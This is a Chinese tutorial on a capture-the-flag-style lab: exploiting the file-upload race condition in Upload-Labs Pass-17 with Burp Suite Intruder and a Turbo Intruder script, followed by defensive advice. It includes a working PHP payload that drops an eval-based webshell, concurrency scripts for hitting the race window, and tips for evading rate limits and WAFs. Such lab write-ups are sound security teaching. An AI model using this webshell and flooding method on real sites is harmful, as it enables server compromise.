利用Burp Suite Intruder进行TOCTOU时间差攻击实战解析
1. 项目概述:一次关于“时间差”的攻防演练
最近在复现和教学文件上传漏洞时,我重新审视了Upload-Labs这个经典的靶场。当做到Pass-17时,我发现很多朋友,包括一些有一定经验的安全爱好者,对其中涉及的“时间差”攻击原理理解得不够透彻,往往只是照着网上的Payload“跑一遍”,知其然而不知其所以然。这个关卡的设计非常精妙,它模拟了一种在真实开发中可能出现的、基于服务器端检查逻辑顺序的漏洞。今天,我就结合Burp Suite的Intruder模块,带大家从头到尾拆解一遍Pass-17,不仅告诉你“怎么做”,更重点剖析“为什么能这么做”,以及在这种特定场景下,Intruder如何成为我们的“时间武器”。
简单来说,Pass-17考察的是“条件竞争”漏洞的一个子类——时间差攻击(Time-of-Check to Time-of-Use, TOCTOU)。它的场景是这样的:服务器先检查了你上传文件的扩展名(比如,不允许.php),如果通过,它会把文件临时移动到某个目录,然后再对这个“已经移动过去”的文件进行二次内容检查(例如检查文件头)。这中间存在一个极短的时间窗口。我们的攻击目标,就是利用这个窗口,在服务器完成最终检查前,访问并执行我们上传的恶意文件。而Burp Suite Intruder在这里的角色,就是通过高并发请求,极大地提高我们“撞上”这个时间窗口的概率。
这适合所有正在学习Web安全、想深入理解逻辑漏洞而非单纯工具操作的朋友。即使你对Burp Suite只有基础了解,跟着本文的思路,你也能清晰地掌握从漏洞原理分析,到工具策略配置,再到最终利用的完整链条。你会发现,真正的渗透测试,工具只是手臂,思考才是大脑。
2. 核心漏洞原理:TOCTOU与服务器检查逻辑的“缝隙”
在深入实操之前,我们必须把Pass-17背后的原理吃透。这关系到我们后续每一步操作的设计是否合理有效。
2.1 什么是TOCTOU(时间差攻击)?
TOCTOU是操作系统和软件安全中的一个经典问题。它的核心矛盾在于:系统检查某个条件的状态(Time-of-Check)和使用该检查结果(Time-of-Use)这两个动作不是原子性的,中间存在时间间隔。在这个间隔内,条件的状态可能被改变,从而导致系统基于过时、无效的检查结果做出决策,引发安全漏洞。
一个生活化的类比:你去银行柜台取一大笔钱,柜员需要去金库清点(Check)。清点时,他确认金库里有足够的现金。但在他把现金从金库拿到柜台(Use)的这段路上,另一个内部人员瞬间转移走了部分现金。柜员基于“清点时”的状态,把实际上已经不足额的现金交给了你,导致了银行的损失。这里的“清点”和“交付”之间的时间差,就是漏洞所在。
2.2 Pass-17的服务器端模拟逻辑
Upload-Labs的Pass-17源码(通常是一个PHP文件)模拟了以下有缺陷的逻辑:
- 第一次检查(Check-1:扩展名检查):服务器接收到上传请求后,首先检查文件扩展名。例如,它会判断文件名是否以
.php、.phtml等危险后缀结尾。如果发现是黑名单内的扩展名,直接拒绝并返回错误。 - 文件移动:如果扩展名检查通过(比如你上传了一个
.jpg文件),服务器会执行move_uploaded_file()函数,将临时上传的文件移动到指定的目标目录(例如upload/)。关键在于,到这一步,文件在服务器上已经实际存在了。 - 第二次检查(Check-2:内容检查):文件移动完成后,服务器再对这个已经存在于目标目录的文件进行内容检查。比如,用
getimagesize()函数读取文件头,判断它是否是一个真实的图片。如果不是,则删除这个文件。 - 漏洞窗口:从步骤2完成到步骤3开始并执行完毕,存在一个时间差。虽然这个时间差极短(可能只有几毫秒到几十毫秒),但它确实存在。如果我们在文件被删除前,成功访问了它的URL,那么其中的PHP代码就会被服务器解析执行。
注意:很多初学者混淆了一点,以为是要在服务器“检查”的瞬间“替换”文件。实际上,我们上传的就是一个“伪装”的文件(如图片马),它一次性通过了扩展名检查。漏洞利用的焦点在于,在它因内容检查不合格而被删除前,抢跑访问它。
2.3 我们的攻击策略设计
基于以上原理,我们的攻击链非常清晰:
- 制作Payload:创建一个包含PHP代码的图片马(例如,在JPEG文件末尾添加``),将其后缀名改为
.jpg,以通过第一关扩展名检查。 - 发起上传:将这个图片马上传到靶场。
- 暴力访问:在服务器执行
move_uploaded_file()之后、内容检查删除文件之前,以极高的频率并发请求这个上传文件的预期URL。 - 利用成功:只要有一次访问请求“挤”进了那个时间窗口,我们的PHP代码就会被执行。通常我们会让代码返回一个可见的结果,比如在页面上输出一个字符串,或者更实际地,写入一个完整的Webshell到服务器。
那么,如何实现高频率的并发访问呢?手动刷新浏览器显然不现实。这就需要请出我们今天的主角:Burp Suite Intruder的“Pitchfork”和“Turbo Intruder”模式。
3. 环境准备与Payload制作
工欲善其事,必先利其器。在启动Burp Suite之前,我们需要把靶场和攻击文件准备好。
3.1 靶场环境搭建
Upload-Labs的搭建非常简单,这里简述一下要点:
- 从GitHub下载Upload-Labs源码。
- 将其放置在你的PHP集成环境根目录下(如PHPStudy的
WWW目录,XAMPP的htdocs目录)。 - 确保你的PHP版本在5.x或7.x(避免使用过高的8.x版本,可能语法不兼容)。Pass-17关卡通常需要修改一些配置来“开启”,请根据靶场内的提示或源码注释操作,通常是设置一个
$is_upload的逻辑开关。 - 在浏览器中访问
http://localhost/upload-labs/即可。确保你能正常看到前16关,并找到Pass-17的入口。
3.2 制作高兼容性的图片马
图片马的成功率取决于其能否通过getimagesize()这类函数的检查。一个健壮的图片马应该只破坏最少的图片数据。
方法一:命令行合成(推荐,最干净)在Linux或Windows(安装Git Bash或使用CMD)下,使用copy命令:
copy /b normal.jpg + shell.php webshell.jpg这条命令会将shell.php的二进制内容追加到normal.jpg的末尾。normal.jpg是一张完全正常的图片。这样制作出来的文件,文件头依然是标准的JPEG格式,getimagesize()可以正常识别其尺寸和类型,但服务器在解析时,如果将其当作PHP执行,则会忽略前面的图片二进制数据,直接执行末尾的PHP代码。
方法二:文本编辑器编辑用Notepad++等编辑器打开一张正常图片,滚动到最底部,在最后一个字节后换行,写入你的PHP代码。这种方法有时会因编码问题引入BOM头,可能导致图片损坏,不如命令行方法可靠。
PHP Payload设计: 对于时间差攻击,我们的Payload需要满足两个条件:1) 快速执行;2) 结果明显。因此,不适合使用需要POST参数的复杂一句话木马。
<?php file_put_contents('shell.php', '<?php @eval($_POST[cmd]);?>'); echo 'Hacked!'; ?>这个Payload的作用是,一旦被执行,会在当前目录(即上传目录)下写入一个真正的、持久化的Webshell文件shell.php。这样,即使我们上传的原始图片马被删除,这个shell.php也会保留下来。echo ‘Hacked!’是为了在响应中立即看到成功提示。
实操心得:在真实渗透测试中,为了避免被监控发现,这个Payload可以更隐蔽,比如将Webshell内容进行Base64编码后再写入,或者写入到更隐蔽的路径。但在靶场练习中,以直观和成功为首要目标。
4. Burp Suite Intruder 配置详解
这是本次演练的核心环节。我们将使用Intruder的两种模式协同工作。
4.1 步骤一:捕获上传请求并设置Payload位置
- 浏览器配置好代理(127.0.0.1:8080),并安装Burp的CA证书。
- 访问Upload-Labs Pass-17页面,选择制作好的
webshell.jpg文件,点击上传。 - 在Burp Suite的Proxy -> HTTP history中,找到这个POST上传请求,右键发送到Intruder(快捷键
Ctrl+I)。 - 进入Intruder的Positions标签页。这里我们使用“Pitchfork”模式。为什么是Pitchfork?因为它允许我们为多个变量设置不同的Payload列表,并且这些Payload会成对地进行组合。在这个场景下,我们需要两个变量同步变化。
- 清除所有自动标记的变量,然后手动标记以下两个位置:
- 文件内容:在HTTP请求体(body)中,找到表示文件内容的那个部分(通常是一长串乱码,是图片的十六进制数据)。我们需要用不同的Payload来替换它,以增加请求的“差异性”,有些服务器可能会对完全相同的请求做短时间内的去重处理。
- 文件名:在
Content-Disposition行中的filename参数值,即filename=”webshell.jpg”。我们需要将其修改为预期的上传后的文件名,但这里我们先标记,Payload设置时会解释。
你的请求大概会像这样(部分省略):
POST /upload-labs/Pass-17/index.php HTTP/1.1 ... Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="upload_file"; filename="§webshell.jpg§" Content-Type: image/jpeg §图片马的二进制数据§ ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="submit" 提交 ------WebKitFormBoundaryABC123--注意两个§符号标记的位置。
4.2 步骤二:配置Payloads
这是最关键的一步,我们需要为两个标记位置设置合适的Payload。
Payload Set 1 (对应文件内容标记):
- Payload Type: “Runtime file”。这是我们制造“差异性”的关键。你需要提前准备一个文本文件(如
payload1.txt),里面包含几行不同的图片马的Base64编码或Hex字符串。如何获得?你可以用同一个图片马,在末尾轻微修改一下注释,或者用脚本生成几个内容稍有差异但功能相同的图片马,然后分别读取其二进制并编码。 - 这样做的目的是让每次Intruder发出的上传请求,其文件内容部分都不完全相同,模拟多个不同用户在上传略微不同的图片,降低被简单WAF或应用层防火墙拦截的概率。
- Payload Type: “Runtime file”。这是我们制造“差异性”的关键。你需要提前准备一个文本文件(如
Payload Set 2 (对应文件名标记):
- Payload Type: “Simple list”。
- 在Payload Options中,添加一个条目:
webshell.jpg。是的,只用一个。为什么?因为我们的目标是让同一个文件被反复上传。在TOCTOU攻击中,我们不需要尝试不同文件名,我们需要的是对同一个预期路径进行高并发访问。文件名固定,我们才能知道要去访问哪个URL。
4.3 步骤三:配置攻击引擎(Resource Pool)
在Intruder的Resource Pool选项下,创建一个新的资源池,或者修改默认池的设置:
- Number of threads: 设置为50-100。这个数字非常激进,它表示同时有50-100个线程在发送上传请求。这是为了最大化我们“挤占”那个时间窗口的机会。设置过高可能导致本地或靶机资源耗尽,需要根据实际情况调整。
- Throttle: 不要设置延迟。我们的目标就是“狂轰滥炸”,所以取消任何
Delay between requests的勾选。
4.4 步骤四:启动攻击与初步观察
点击Start attack按钮,Intruder会弹出一个新窗口,开始以高并发方式重复发送我们标记好的上传请求。
此时,你会在攻击结果窗口看到大量请求和响应。重点观察响应状态码、长度和内容:
- 状态码:通常都是200,表示上传请求本身被服务器接收和处理了。
- 响应长度和内容:大多数响应可能显示“文件上传成功!”之类的提示(因为扩展名检查通过了),但随后服务器后台线程会删除它。我们的目标不是在这里找成功,而是通过这个高并发过程,让服务器端不断有文件处于那个“已移动未检查”的脆弱状态。
重要:这个Intruder攻击窗口不要关闭,让它一直运行。我们的目的是持续“污染”服务器的处理队列。
5. 利用Turbo Intruder进行高并发访问
现在,服务器端可能已经堆积了一些“待检查”的图片马文件。我们需要另一个工具,以更高的效率去访问这些文件。Burp Suite专业版的“Turbo Intruder”扩展(社区版需手动安装)是绝佳选择,它比普通Intruder更高效,更适合这种纯请求响应的洪水攻击。
5.1 步骤一:捕获访问请求
- 在浏览器中,手动构造一个访问上传文件的URL。例如,如果你的上传目录是
upload,那么访问的URL可能是http://localhost/upload-labs/upload/webshell.jpg。 - 此时,因为文件很可能已被删除,你会看到404 Not Found。没关系,在Burp的HTTP history中找到这个GET请求。
- 在这个GET请求上右键,选择
Extensions->Turbo Intruder->Send to turbo intruder。
5.2 步骤二:配置Turbo Intruder脚本
Turbo Intruder使用Python脚本控制攻击。它会提供一个基础模板,我们需要进行关键修改。
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=50, # 并发连接数,可以设得更高,如100 requestsPerConnection=100, # 每个连接发送的请求数 pipeline=False ) # 这是我们要重复发送的请求 request = '''GET /upload-labs/upload/webshell.jpg HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0... Accept: text/html... ... 其他头部信息,保持原样即可 ''' # 关键:以极快的速度,持续发送这个GET请求 for i in range(10000): # 发送请求的次数,可以设置一个很大的数 engine.queue(request) def handleResponse(req, interesting): # 处理响应,这里我们只关注响应中包含我们成功标志的请求 if ‘Hacked!’ in req.response: # 如果响应体里有我们Payload中echo的‘Hacked!’ table.add(req) # 你也可以根据状态码不是404或响应长度发生变化来判断 elif req.status != 404: table.add(req)脚本要点解析:
concurrentConnections: 并发连接数,与Intruder的线程类似,但效率更高。可以设置为100甚至更高。requestsPerConnection: 每个HTTP长连接上发送的请求数,启用HTTP Keep-Alive可以极大提升速度。engine.queue(request): 将请求放入发送队列。我们用一个超大循环来持续发送。handleResponse: 回调函数。我们在这里过滤结果。一旦发现响应中包含我们Payload里写的Hacked!字符串,或者状态码不是404(可能是200,表示文件存在并被解析),就将这个请求标记为“有趣”,并显示在结果表格中。
5.3 步骤三:发动总攻与结果判定
- 确保第一个Intruder攻击(上传攻击)仍在运行。
- 点击Turbo Intruder窗口的
Attack按钮。它会开始以极高的频率请求webshell.jpg。 - 观察Turbo Intruder的结果窗口。如果攻击成功,你会在很短时间内(几秒到十几秒)看到有请求被捕获到“Interesting”列表里。点开这个请求,查看响应内容,你应该能看到
Hacked!的字样,并且服务器上的upload目录下,会多出一个shell.php文件。 - 此时,访问
http://localhost/upload-labs/upload/shell.php,并使用中国菜刀、蚁剑等工具连接(POST参数cmd=phpinfo();),即可验证Webshell写入成功。
6. 深度排查与高级技巧
在实际操作中,你可能会遇到各种问题。下面是一些常见的坑和进阶技巧。
6.1 攻击失败的可能原因与排查
| 问题现象 | 可能原因 | 排查思路与解决方案 |
|---|---|---|
始终没有Hacked!响应,全是404。 | 1.时间窗口太短:服务器检查删除速度极快。 2.Payload问题:图片马制作失败,PHP代码未执行。 3.路径错误:访问的URL路径不对。 | 1.增加并发压力:同时开多个Burp Intruder/Turbo Intruder实例,或使用集群化攻击脚本。 2.验证Payload:单独将图片马上传到一台已知会解析PHP的服务器,直接访问看能否执行。 3.确认路径:查看Upload-Labs源码,确认上传文件保存的具体路径和命名规则(有时会重命名)。 |
| Turbo Intruder很快停止,没有发送大量请求。 | 脚本配置问题,如循环次数太少,或目标服务器拒绝连接。 | 1. 检查range循环值是否足够大(如100000)。2. 检查 concurrentConnections是否过高导致本地端口耗尽,可适当调低至50。3. 查看Turbo Intruder输出日志,是否有连接错误。 |
| 上传请求被靶场拦截,返回错误。 | 靶场可能有频率限制或简单的防重放机制。 | 1. 在Intruder的Payload Set 1中,确保文件内容Payload列表有足够的差异性。 2. 在请求头中添加或随机化一些字段,如 X-Forwarded-For。3. 在请求间增加很小的随机延迟(如10-50毫秒),模拟真人操作。 |
6.2 提升成功率的进阶技巧
- 延长“时间窗口”:如果靶场环境完全受控(比如你自己搭建的测试环境),可以尝试在源码的“移动文件”和“内容检查”之间,人为插入一个
sleep(1)或usleep(500000)函数,让漏洞窗口从毫秒级扩大到秒级,方便你理解攻击过程。这绝对是加深理解的神器。 - 精准定位“触发点”:使用Burp Suite的
Logger++扩展(或类似工具),监控服务器上目标文件的创建和删除事件。虽然这通常需要服务器端配合,但在某些模拟环境中,可以通过观察特定的HTTP请求序列来推断。 - 组合工具:除了Burp Suite,可以编写Python脚本,结合
threading和requests库,实现更灵活的上传和访问并发控制。脚本可以做到:一个线程池专门负责上传,另一个线程池专门负责访问,并且共享一个队列,上传成功一个文件名,就立刻加入访问队列。 - 针对真实环境的思考:真实世界的TOCTOU漏洞可能更隐蔽。例如,检查和使用之间可能隔着数据库读写、网络IO、调用其他微服务等。攻击思路不变,但并发攻击的“点”需要更精确的判断。可能需要先通过代码审计或模糊测试,找到那个关键的文件操作函数调用链。
7. 防御方案与安全开发启示
作为攻击者,我们研究漏洞;作为开发者或安全人员,我们更应知道如何修复。Pass-17给我们上了一堂生动的安全编程课。
根本解决方案:消除时间差
- 原子化操作:将检查和使用合并为一个原子操作。在移动文件之前,将文件内容读入内存或临时缓冲区进行检查。只有检查完全通过后,才执行一次原子性的文件写入操作。在Linux下,可以利用
O_EXCL标志配合open()系统调用来创建文件,确保文件不存在。 - 先检查,后移动,且移动后使用不可变引用:如果架构上必须移动后再处理,那么在移动后,应立即对文件进行最终检查,并在检查通过前,绝对不对外暴露该文件的访问路径或句柄。或者,使用一个临时且不可预测的文件名,直到所有检查通过后,才将其重命名为最终名称。
工程实践建议:
- 白名单校验:文件上传功能应始终使用后缀名白名单,并结合文件内容头检查(如MIME类型)。
- 随机化文件名:上传的文件应重命名为随机字符串(如UUID),避免被攻击者预测路径。
- 文件存储隔离:上传的文件不应存储在Web根目录下,而应放在一个无法通过URL直接访问的目录。通过后端脚本(如
readfile())来代理访问和下载,这样即使上传了恶意脚本,也无法直接执行。 - 设置严格的目录权限:上传目录应禁止执行脚本(例如,在Nginx配置中针对上传目录设置
location ~* \.(php|phtml)$ { deny all; })。
理解并利用TOCTOU漏洞,需要你对Web应用的处理流程有清晰的时序概念。这次用Burp Suite Intruder爆破Upload-Labs Pass-17的经历,本质上是一次对服务器端逻辑的“压力测试”和“时序博弈”。它提醒我们,在安全开发中,任何非原子性的“检查-使用”序列都可能成为攻击面,尤其是在高并发场景下。工具的使用并不复杂,复杂的是对漏洞原理的深刻洞察和基于此设计出精巧的攻击链。当你手动调整并发参数、盯着响应结果、最终看到Hacked!跳出来那一刻,你对“时间差”这三个字的理解,一定会比读十篇理论文章都要深刻得多。